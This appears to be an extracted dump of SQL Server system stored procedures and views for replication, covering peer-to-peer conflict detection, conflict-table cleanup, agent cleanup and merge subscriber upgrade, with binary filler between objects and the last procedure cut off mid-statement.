		raiserror(21542, 16, 1, @@error, 'sp_MSscriptpeerconflictdetection_tableaug')			
	return (1)
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!}$`<Z=0 8create procedure sys.sp_peerconflictdetection_tableaug (
	@publisher sysname,
	@publisher_db sysname,
	@publication	sysname, -- not null
	@enabling	bit, -- not null
	@originator_id int, --should not be null and not 0 and not 0x80000000, when @enabling is 1 and when the destination is a peer 
	@artlist 		nvarchar(max) --in xml format
)
as
begin
	set nocount on
	
	declare	@retcode int = 0,        
			@tabrepobjsexists bit, 
			@OPT_ENABLED_FOR_P2P int = 0x1,
			@OPT_ENABLED_FOR_P2P_CONFLICTDETECTION int = 0x8,
			@ispub bit, --used only when disabling
			@cursor_allocated bit = 0,
			@cursor_opened bit = 0,
			@schname sysname,
			@tabname sysname,
			@artname sysname,
			@schema_option bigint,
			@fulltablename nvarchar(540), --qualified with owner
			@tabobjid int,
			@conftabname nvarchar(540),
			@forcetabaug bit  --used only when disabling

	-- security check - should be dbo or sysadmin
	if (@originator_id = 0x80000000) --read-only subscriber
	begin
		exec @retcode = sp_MSreplcheck_subscribe
		if @@ERROR != 0 or @retcode != 0
			return (1)
	end
	else
	begin
		exec @retcode = sp_MSreplcheck_publish
		if @@ERROR != 0 or @retcode != 0
			return (1)
	end

	-- obtain article list
	declare @arttab table (schname sysname,  tabname sysname,  artname sysname,  schema_option bigint)
	declare @DocHandle int

	begin tran
	save tran tr_tableaug
	
	exec sp_xml_preparedocument @DocHandle OUTPUT, @artlist
	if @@error <> 0
		goto UNDO
	
	insert @arttab
		select  * 	
		from OPENXML (@DocHandle, N'/arts/art', 1)
		with (schname sysname,  tabname sysname,  artname sysname,  schema_option bigint)
	if @@error <> 0
		goto UNDO
	
	exec sp_xml_removedocument @DocHandle
	if @@error <> 0
		goto UNDO

	if exists (select * from sys.objects where name = N'MSreplication_objects')
		select @tabrepobjsexists = 1 
	else
		select @tabrepobjsexists = 0


	if @enabling = 1
	begin --read-only subscription table has its p2porid as 0x80000000
		if not exists (select * from sys.objects where name = N'syspublications') 
			select @originator_id = 0x80000000
		else if not exists (select * from syspublications 
					where name = @publication 
					and options & @OPT_ENABLED_FOR_P2P_CONFLICTDETECTION = @OPT_ENABLED_FOR_P2P_CONFLICTDETECTION) 
			select @originator_id = 0x80000000
	end
	else
	begin
		if not exists (select * from sys.objects where name = N'syspublications') 
			select @ispub = 0 
		else if not exists (select * from syspublications 
				where name = @publication 
				and options & @OPT_ENABLED_FOR_P2P = @OPT_ENABLED_FOR_P2P)
			select @ispub  = 0
		else
			select @ispub  = 1
	end
	
	--process all articles
	declare #harticle cursor local fast_forward for
	select * from @arttab

	if (@@error != 0)
		goto UNDO

	select @cursor_allocated = 1

	open #harticle
	if (@@error != 0)
		goto UNDO

	select @cursor_opened = 1

	fetch #harticle into @schname, @tabname, @artname, @schema_option 
	while (@@fetch_status<>-1)
	begin
		select @fulltablename = QUOTENAME(@schname) + N'.' + QUOTENAME(@tabname)
		select @tabobjid = object_id(@fulltablename)
		if(@tabobjid is not NULL and exists (select * from sys.objects where object_id = @tabobjid and type = N'U'))
		begin
			select @conftabname =sys.fn_peerconflicttablename(@fulltablename)
			
			if @enabling = 1 --create conflict table and insert object name into MSreplication_objects in case of read-only subscriptions
			begin
				if @originator_id <> 0x80000000 --do not create conflict table on a read-only subscriber for now
				begin
					exec @retcode = sp_MSmakepeerconflicttable @fulltablename , @schema_option 
					if @@error != 0 or @retcode = 1
						goto UNDO

					--leave the code to insert into MSreplication_objects here
					if @originator_id = 0x80000000 and  @tabrepobjsexists  = 1
					begin
						if not exists (select * from dbo.MSreplication_objects where object_name =@conftabname
																	and publisher = @publisher
																	and publisher_db = @publisher_db 
																	and publication = @publication
																	and article = @artname
																	and object_type = N'U')
					  		insert dbo.MSreplication_objects (publisher, publisher_db, publication, object_name, object_type, article)
							values(@publisher, @publisher_db, @publication, @conftabname, N'U', @artname)
					end	
				end

							
				EXEC %%Object(MultiName = @fulltablename).LockMatchID(ID = @tabobjid, Exclusive = 1, BindInternal = 0)
				--enabling: for read-only subscription, @replpeerid is 0x80000000; for peer,  @replpeerid is @originator_id
				--this will internally add hidden column
				exec %%Relation(ID = @tabobjid).SetReplPeerId(Value = @originator_id)
				if @@error != 0
					goto UNDO
			end
			else --enabling = 0
			begin
				if @originator_id = 0
					select @forcetabaug = 1
				else if @ispub = 0 and @tabrepobjsexists = 1
				begin
					delete from dbo.MSreplication_objects where object_name = @conftabname 
												and publisher = @publisher
												and publisher_db = @publisher_db
												and publication = @publication
												and article = @artname
												and object_type = N'U'

					if not exists (select * from dbo.MSreplication_objects where object_name = @conftabname 
																and object_type = N'U')
						select @forcetabaug = 1
				end
				
				if @forcetabaug = 1
				begin
					-- prefix with scheme name: dbo
					select @conftabname = N'[dbo].' + QUOTENAME(@conftabname)
					if object_id(@conftabname) is not NULL 
						exec ('drop table ' + @conftabname)  -- drop conflict table

					EXEC %%Object(MultiName = @fulltablename).LockMatchID(ID = @tabobjid, Exclusive = 1, BindInternal = 0)
					-- disabling: @replpeerid is 0, this will internally drop hidden column
					exec %%Relation(ID = @tabobjid).SetReplPeerId(Value = 0)
					if @@error != 0
						goto UNDO
				end
			end
		end

		fetch #harticle into @schname, @tabname, @artname, @schema_option 
	end --while

	if @cursor_opened = 1
	begin
		close #harticle
	end

	if @cursor_allocated = 1
	begin
		deallocate #harticle
	end 

	commit tran
	return (0)


UNDO:

	if @cursor_opened = 1
	begin
		close #harticle
	end

	if @cursor_allocated = 1
	begin
		deallocate #harticle
	end 

	rollback tran tr_tableaug
	commit tran

	raiserror(21542, 16, 1, @@error, 'sp_peerconflictdetection_tableaug')
	return (1)

end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!`V<jdGz0/9 8
--
-- Name:
--		sp_MSrepl_IsLastPubInSharedSubscription
--
-- Description:
--		Function to determine if the passed publication is the only
--      publication having a shared agent with a subscription 
--      at the given publisher/publisher database pair.  It is used
--      by the user interface to determine when the last publication
--      is being dropped and shared meta data at the subscriber can
--      be cleaned up.
--
--      This stored procedure is executed in the publishing database.
--      For heterogeneous publishers, it is executed in the distribution
--      database.
--
-- Returns:  A result set with a single integer value:
--		0 == FALSE  Other publications with shared agents exist for this publisher db/subscriber db pair
--		1 == TRUE	This is the only publication having a shared agent for this publisher db/subscriber db pair
--
-- Security:
--		public
-- Requires Certificate signature for catalog access
--
-- Notes:
--		Includes logic to determine if a db is being used as a distribution db
--
CREATE PROCEDURE sys.sp_MSrepl_IsLastPubInSharedSubscription
(
	@subscriber sysname,
	@subscriber_db sysname,
	@publication sysname
)
AS
BEGIN
	SET NOCOUNT ON
	
	DECLARE @fLastPub int,
			@retcode int
	
    -- Security check
    exec @retcode = sys.sp_MSreplcheck_publish
    IF @@error <> 0 or @retcode <> 0
        RETURN 1

    -- Check to see if database is activated for publication
    IF sys.fn_MSrepl_ispublished(db_name()) <> 1
    BEGIN
        -- "This database is not enabled for publication."
        RAISERROR (14013, 16, -1)
        RETURN 1
    END

    IF @subscriber IS NULL
    BEGIN
		-- The parameter @subscriber cannot be NULL.
        RAISERROR (14043, 16, -1, '@subscriber', 'fn_MSrepl_IsLastPubInSharedSubscription')
        RETURN 1
    END

    EXEC @retcode = sys.sp_validname @subscriber
    IF @@ERROR <> 0 OR @retcode <> 0
        RETURN 1
        
    IF @subscriber_db IS NULL
    BEGIN
		-- The parameter @subscriber_db cannot be NULL.
        RAISERROR (14043, 16, -1, '@subscriber_db', 'fn_MSrepl_IsLastPubInSharedSubscription')
        RETURN 1
    END

    EXEC @retcode = sys.sp_validname @subscriber_db
    IF @@ERROR <> 0 OR @retcode <> 0
        RETURN 1
        
	IF @publication IS NULL
    BEGIN
		-- The parameter @publication cannot be NULL.
        RAISERROR (14043, 16, -1, '@publication', 'fn_MSrepl_IsLastPubInSharedSubscription')
        RETURN 1
    END

    EXEC @retcode = sys.sp_validname @publication
    IF @@ERROR <> 0 OR @retcode <> 0
        RETURN 1
	
	SET @fLastPub = 0
	
	-- Verify that the passed publication is a publication for this publishing database
	-- that uses an independent agent and has a subscription at the specified
	-- subscriber / subscriber database pair.
	IF NOT EXISTS
	(
		SELECT	*
		FROM	syspublications p, sysarticles a, syssubscriptions s
		WHERE	p.pubid = a.pubid
		  AND	a.artid = s.artid
		  AND	p.independent_agent = 0
		  AND	s.dest_db = @subscriber_db
		  AND	s.srvname = UPPER(@subscriber) 
		  AND	p.name = @publication
	)	  
	BEGIN
		-- No shared agent subscription exists for publication '%s' and the subscriber/subscriber database pair '%s'/'%s'.
        RAISERROR (21426, 16, -1, '@publication', '@subscriber', 'subscriber_db')
        RETURN 1
	END
	
	IF NOT EXISTS
	(
		SELECT	*
		FROM	syspublications p, sysarticles a, syssubscriptions s
		WHERE	p.pubid = a.pubid
		  AND	a.artid = s.artid
		  AND	p.independent_agent = 0
		  AND	s.dest_db = @subscriber_db
		  AND	s.srvname = UPPER(@subscriber) 
		  AND	p.name <> @publication
	)	  
	BEGIN
		-- The passed publication is the only publication for this publishing database
		-- that uses an independent agent and has a subscription at the specified
		-- subscriber / subscriber database pair.
		SET @fLastPub = 1
	END

	SELECT @fLastPub
	RETURN 0
END
0; 	8create procedure sys.sp_MScleanup_conflict_table
AS
BEGIN
    set nocount on
	declare @retcode			int
	declare @pubid				uniqueidentifier
	declare @conflict_retention int
			,@conflict_table	nvarchar(542)
			,@cmd				nvarchar(4000)
			,@tranpubid			int

	/*
	** Security Check
	*/
	EXEC @retcode = sys.sp_MSreplcheck_publish
	IF @@ERROR <> 0 or @retcode <> 0
		return (1)

	--
	-- merge cleanup
	--
	if object_id('sysmergepublications') is not NULL
	begin
		declare PC CURSOR LOCAL FAST_FORWARD for select DISTINCT pubid, conflict_retention
			from dbo.sysmergepublications where LOWER(publisher)=LOWER(publishingservername()) and publisher_db=db_name() and conflict_retention>0
		open PC
		fetch PC into @pubid, @conflict_retention
		while (@@fetch_status<>-1)
		begin
			exec @retcode = sys.sp_MScleanup_conflict @pubid, @conflict_retention
			if @@ERROR<>0 or @retcode<>0
			begin
				close PC
				deallocate PC
				return (1)
			end
			fetch next from PC into	 @pubid, @conflict_retention
		end
		close PC
		deallocate PC
	end

	--
	-- tran cleanup
	--
	if object_id('syspublications') is not NULL
	begin
		--
		-- do for each conflict table in each publication
		--
		declare hCftTab cursor LOCAL FAST_FORWARD for
			select a.pubid, a.conflict_retention
				, QUOTENAME(schema_name(objectproperty(c.conflict_tableid, 'SchemaId')) ) + '.' + QUOTENAME(OBJECT_NAME(c.conflict_tableid))
			from (syspublications as a join sysarticles as b on a.pubid = b.pubid)
				join sysarticleupdates as c on c.artid = b.artid and c.pubid = b.pubid
			where a.allow_queued_tran = 1 and a.conflict_retention>0

		open hCftTab
		fetch hCftTab into @tranpubid, @conflict_retention, @conflict_table
		while (@@fetch_status != -1)
		begin
			--
			-- delete the expired messages
			--
			select @cmd = N'delete ' + @conflict_table + 
				N' where datediff(dd, insertdate, getdate()) > ' + 
				cast(@conflict_retention as nvarchar(10)) +
				N' and pubid = ' + cast(@tranpubid as nvarchar(10))

			execute (@cmd)
			if (@@error != 0)
			begin
				close hCftTab
				deallocate hCftTab
				return 1
			end
				
			--
			-- Get next conflict table to clean
			--
			fetch hCftTab into @tranpubid, @conflict_retention, @conflict_table
		end

		--
		-- close cursor
		--
		close hCftTab
		deallocate hCftTab
	end

	--
	-- all done 
	--
	return 0
END
p_log_repository_message
(
	@MessageType	nvarchar(100),
	@Message		nvarchar(2000),
	@database		sysname
)
AS
BEGIN
	SET NOCOUNT ON
	
	DECLARE @cmd			nvarchar(max)
	DECLARE @MessageTypeID  int
	DECLARE @retcode		int

	SELECT @MessageTypeID = case             WHEN @MessageType = N'Success' THEN 0
	                               ELSE case WHEN @MessageType = N'Failure' THEN 1
	                               ELSE                                         -1
										end				
	                        end         

	SELECT @cmd = N'INSERT INTO ' + quotename(@database) + N'.dbo.MetadataCapture_Log(MsgType, MsgTypeID, Time, Message) VALUES(''' + REPLACE(@MessageType, '''', '''''') + N''', ' 
	              + CONVERT(NVARCHAR(10),@MessageTypeID) + N', ''' + CONVERT(NVARCHAR(30),GETDATE()) + N''', ''' + REPLACE(@Message, '''', '''''') + N''')'
	
	EXEC @retcode = sys.sp_executesql @cmd
    
	RETURN(0)
	
END
0v@ 8CREATE VIEW sys.dm_tran_version_store AS
	SELECT *	
	FROM OpenRowset(TABLE DM_TRAN_VERSION_STORE)
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!;^M`Z	<Zdg702@ D8create procedure sys.sp_script_reconciliation_vdelproc 
(
    @artid int
    ,@publishertype tinyint=1        -- 1 = mssqlserver, 2 = heterogeneous
    ,@publisher sysname=NULL		 -- May only be non-NULL if @publishertype = 2
)
as
begin
    declare @retcode int
    --
    -- security check
    --
    exec @retcode = sys.sp_MSreplcheck_publish
    if @@error <> 0 or @retcode <> 0
    begin
        return (1)
    end
    --
    -- call core function
    --
    exec @retcode = sys.sp_scriptdelproccore 
                @artid = @artid
                ,@format = 4            -- VCALL mode
                ,@mode = 2              -- snapshot reconciliation mode
                ,@publishertype = @publishertype
                ,@publisher = @publisher
    return @retcode
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`X	<=-Sb0j 8CREATE VIEW sys.dm_hadr_database_replica_cluster_states AS
	SELECT
		*
	FROM
		OpenRowset(TABLE DM_HADR_DATABASE_REPLICA_CLUSTER_STATES) AS drcs
0X 8CREATE PROCEDURE sys.sp_MScleanup_agent_entry
AS
    declare @min_valid_day 		datetime
	, @publisher_id 		int
	, @subscriber_id 		int
	, @publication 			sysname
	, @publication_id		int
	, @publisher_db 		sysname
	, @subscriber_db 		sysname
	, @retention 			int
	, @publication_type 	int
	, @agent_id			int
	, @num_dropped	int
	, @retcode int
	, @retention_period_unit tinyint

    set nocount on
    select @num_dropped = 0

    EXEC @retcode = sys.sp_MSreplcheck_publish
    IF @@ERROR <> 0 or @retcode <> 0
        return (1)

	declare PC CURSOR LOCAL FAST_FORWARD for 
		select distinct publisher_id, publisher_db, publication, retention, publication_type, 
			retention_period_unit, publication_id
		from MSpublications
		where retention<>0
	open PC
	fetch PC into @publisher_id, @publisher_db, @publication, @retention, @publication_type, 
		@retention_period_unit, @publication_id
	while (@@fetch_status <> -1)
    begin    
		if @publication_type = 2  --merge publication
		begin
    		select @min_valid_day = sys.fn_add_units_to_date(-@retention, @retention_period_unit, getdate())

		    declare hC CURSOR LOCAL FAST_FORWARD FOR 
				select msa.id from dbo.MSmerge_agents msa
				where msa.creation_date < @min_valid_day
    			and not exists 
    			(
    				select * from dbo.MSmerge_sessions sess
    				where sess.agent_id = msa.id 
    				and sess.end_time > @min_valid_day
    			)
    			and msa.publisher_id = @publisher_id
    			and msa.publisher_db = @publisher_db
    			and msa.publication = @publication   
	    		and msa.anonymous_subid is not null		-- Only do this for anonymous agents
				and not exists 
				(
					select * from dbo.MSmerge_subscriptions mss
					where mss.publisher_id = @publisher_id
					and mss.publisher_db = @publisher_db
    				and mss.publication_id = @publication_id
    				and upper(mss.subscriber) = upper(msa.subscriber_name)
    				and mss.subscriber_db = msa.subscriber_db
    				and mss.subscriber_version >= 90
    			)
			for read only
			open hC
			fetch hC into @agent_id
			while (@@fetch_status <> -1)
			begin
				exec @retcode = sys.sp_MSdrop_merge_agentid @agent_id
				if @retcode <> 0 or @@error <> 0
					return (1)
				select @num_dropped = @num_dropped + 1
				fetch hC into @agent_id
			end
			close hC
			deallocate hC
		end
   		else if @publication_type in (0,1) --Tran level publication
  			begin  
    			select @min_valid_day = dateadd(hour, @retention * (-1), getdate())    
				-- Only do this for anonymous agents
			    declare hC CURSOR LOCAL FAST_FORWARD FOR 
					select id from MSdistribution_agents where creation_date < @min_valid_day
						and not exists (select * from MSdistribution_history where agent_id = id and time > @min_valid_day)
						and publisher_id=@publisher_id
    					and publisher_db = @publisher_db
    					and publication = @publication            
	    				-- Only do this for anonymous agents
						and subscriber_name is not null         	            	
				for read only
				open hC
				fetch hC into @agent_id
				while (@@fetch_status <> -1)
				begin
					exec @retcode = sys.sp_MSdrop_distribution_agentid @agent_id
					if @retcode <> 0 or @@error <> 0
						return (1)
					select @num_dropped = @num_dropped + 1
					fetch hC into @agent_id
				end
			close hC
			deallocate hC
        	end
      	fetch PC into @publisher_id, @publisher_db, @publication, @retention, @publication_type, 
      		@retention_period_unit, @publication_id
    end
    close PC
    deallocate PC
	if @num_dropped > 0
		RAISERROR(20597, 10, -1, @num_dropped) 
   	return (0)
FAILURE:
    close PC
    deallocate PC
   	return (1)		
0ב@ 	8create procedure sys.sp_MSscriptpeerconflictdetection_topology_sendresponse (
	@request_id	int,
	@publication	sysname, 
	@originator_node sysname,
	@orginator_db sysname,
	@cmdtxt		nvarchar(max) output
)
as
begin
	
	select @cmdtxt = N'if @@microsoftversion >= 0x09000000 and exists (select * from sys.databases where database_id = db_id() and is_published = 1)
					begin
						if exists(select * from syspublications where name = N' + QUOTENAME(@publication, N'''') + N' and options & 0x1 = 0x1)
						begin
							declare 	@applyresponsecmdtxt nvarchar(max),
									@srvname sysname,
									@dbname sysname,
									@srvversion int,
									@peer_subscriptions nvarchar(max)

							select	@srvname = publishingservername(),
									@dbname = db_name(),
									@srvversion = @@microsoftversion
							declare @peersubtab table (sub_node sysname, sub_db sysname)
							insert 	@peersubtab
								select	distinct C.srvname, C.dest_db
								from 	(syspublications A join sysarticles B on A.pubid = B.pubid) join syssubscriptions C on B.artid = C.artid
								where (C.srvid <> -1) and 	A.name = N' + QUOTENAME(@publication, N'''') + N'
							select @peer_subscriptions = convert(nvarchar(max), (select * from @peersubtab as sub for XML auto))

							select @applyresponsecmdtxt = N''if @@microsoftversion >= 0x0A000000 
														begin
															if exists (select * from sys.databases where database_id = db_id() and is_published = 1)
														 	begin
															 	if 	publishingservername() = N''' + QUOTENAME(@originator_node, N'''') + N'''
										       						and db_name() = N''' + QUOTENAME(@orginator_db, N'''') + N'''
									       						begin
									       							exec sp_MSpeerconflictdetection_topology_applyresponse ' + 
										       							cast(@request_id as nvarchar) + N', 
										       							N'' + QUOTENAME(@srvname, N'''''''') + N'',
										       							N'' + QUOTENAME(@dbname, N'''''''') + N'',''
										       							+ cast(@srvversion as nvarchar) + N'',
										       							N'''''' + REPLACE(@peer_subscriptions, N'''''''', N'''''''''''') + N''''''
								       							end
																end
							       						end''
						
							exec sys.sp_MSpeertopeerfwdingexec @command = @applyresponsecmdtxt, @publication = N' + 
												QUOTENAME(@publication, N'''') + N'
						end
					end'
	return
end 
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<o
03 8create procedure sys.sp_MSmerge_upgrade_subscriber @upgrade_metadata bit = 1, @upgrade_done bit = NULL output
as
    -- this stored procedure is called every time the merge runs
    -- however we will only do anything if we find that upgrade is in progress
    declare @retcode int
    declare @artid uniqueidentifier
    declare @subid uniqueidentifier
    declare @objid int
    declare @qualified_table_name nvarchar(300)
    declare @pubid uniqueidentifier
    declare @subscriber_type int
    declare @is_republisher bit
    declare @source_owner sysname
    declare @source_object sysname
    declare @procsuffix nvarchar(100)
    declare @range_begin bigint
    declare @range_end bigint

    exec @retcode = sys.sp_MSreplcheck_subscribe
    if @retcode<>0 or @@error<>0
        return 1

    exec @retcode = sys.sp_MSgetMergeUpgradeSubscriberAppLock    
    if @retcode<>0 or @@error<>0
        return 1

    if object_id('MSmerge_upgrade_in_progress', 'U') is NULL
    begin
        select @upgrade_done = 0
        goto success
    end
            
    -- first upgrade the metadata tables
    if @upgrade_metadata = 1
    begin
        exec @retcode = sys.sp_MSmerge_metadataupgrade
        if @retcode<>0 or @@error<>0
            goto error
    end

    if exists (select 1 from dbo.sysmergearticles where sys.fn_MSmerge_islocalpubid(pubid)=1)
        select @is_republisher = 1
    else
        select @is_republisher = 0
        
    -- we will recreate the article procs and article triggers
    -- we will only do for the subscriptions. For the publications the snapshot needs to be run.
    declare #articles cursor LOCAL FORWARD_ONLY for 
        select distinct artid, objid, pubid from dbo.sysmergearticles where sys.fn_MSmerge_islocalpubid(pubid)=0
    open #articles
    fetch #articles into @artid, @objid, @pubid
    while (@@fetch_status<>-1)
    begin
        select @source_owner = schema_name(schema_id), @source_object = name from sys.objects where object_id = @objid
        select @qualified_table_name = quotename(@source_owner) + '.' + quotename(@source_object)
        if @qualified_table_name is NULL 
            goto NextArticle

        -- we really cannot be subscribing to two different publications for the same table.
        -- However there is a possibility that we could be

        -- drop the ins/upd/sel procs which have names like sp_ins_*
        exec @retcode = sys.sp_MSmerge_dropdownlevelprocs @artid, @pubid
        if @retcode<>0 or @@error<>0
            goto error

        select @procsuffix = sys.fn_MSmerge_getartprocsuffix(@artid, @pubid)
        if @procsuffix is NULL
            goto error
            
        -- update the names in sysmergearticles to use ins_sp_*
        update dbo.sysmergearticles
            set insert_proc = 'MSmerge_ins_sp_' + @procsuffix,
                update_proc = 'MSmerge_upd_sp_' + @procsuffix,
                select_proc = 'MSmerge_sel_sp_' + @procsuffix,
                metadata_select_proc = 'MSmerge_sel_sp_' + @procsuffix + '_metadata',
                delete_proc = 'MSmerge_del_sp_' + @procsuffix                
            where artid = @artid and pubid = @pubid
        if @@error<>0
            goto error
            
        exec @retcode = sys.sp_MSmakearticleprocs @pubid, @artid, 1
        if @retcode<>0 or @@error<>0
            goto error

        -- if the article uses auto identity range create the subscription entry in MSmerge_identity_range
        if exists (select 1 from dbo.sysmergearticles where artid=@artid and pubid=@pubid and identity_support=1)
        begin
            select @subid = subid, @subscriber_type = subscriber_type from dbo.sysmergesubscriptions 
                where pubid = @pubid and sys.fn_MSmerge_islocalsubid(subid)=1

            if not exists (select 1 from MSmerge_identity_range where artid=@artid and is_pub_range=0 and sys.fn_MSmerge_islocalsubid(subid)=1)
            begin
                -- get the range that was allocated to this subscriber before upgrade
                if object_id('dbo.MSrepl_identity_range') is not NULL
                    select @range_begin = current_max - range, @range_end = current_max from dbo.MSrepl_identity_range where objid = @objid
                
                insert dbo.MSmerge_identity_range(subid, artid, range_begin, range_end, is_pub_range, max_used)
                    values(@subid, @artid, @range_begin, @range_end, 0, NULL)
                if @@error<>0
                    goto error
            end

            if @subscriber_type = 1 and
